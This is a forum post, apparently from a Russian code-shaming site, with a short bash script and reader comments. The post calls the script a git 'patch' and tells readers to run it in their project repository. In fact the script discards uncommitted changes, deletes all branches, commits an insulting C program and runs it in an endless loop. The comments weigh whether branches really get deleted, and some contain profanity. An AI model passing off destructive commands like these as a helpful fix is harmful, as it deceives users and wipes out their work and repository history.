- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
#!/bin/bash
git reset --hard
git checkout --orphan temp
git branch > branches
branch_list=()
while read LINE;
do
branch_list+=("$LINE");
done < branches
for str in "${branch_list[@]}";
do
[ "$str" == "* temp" ] && break
git branch -D "$str"
done
git checkout -b master
git branch -D temp
printf "#include \"stdio.h\" \n\n int main(void)\n{\n\tprintf(\"Ebat' ti loh\");\n\treturn 0;\n}" > main.c
git add main.c
git commit -am "pobeditel' po jizni"
gcc --std=gnu89 main.c -o out.o
while :
do
./out.o
printf "\n"
done
Вышел патч для git. Добавляешь в репо с проектом и запускаешь.
патч чистит всё говно, что найдет.
Навеяно комментом @kerman из Говнокод #19735
А ветки тоже удалятся?
Ты с этим осторожней, а то ещё попробуют...
он просто опечатался
блядь, если бы он написал
было бы не магично?
Шта?
З.Ы. Все гитовые репы на диске вроде как выживут.
Считает. И не удаляет: Причём внутри того репозитория даже untracked файлы выжили.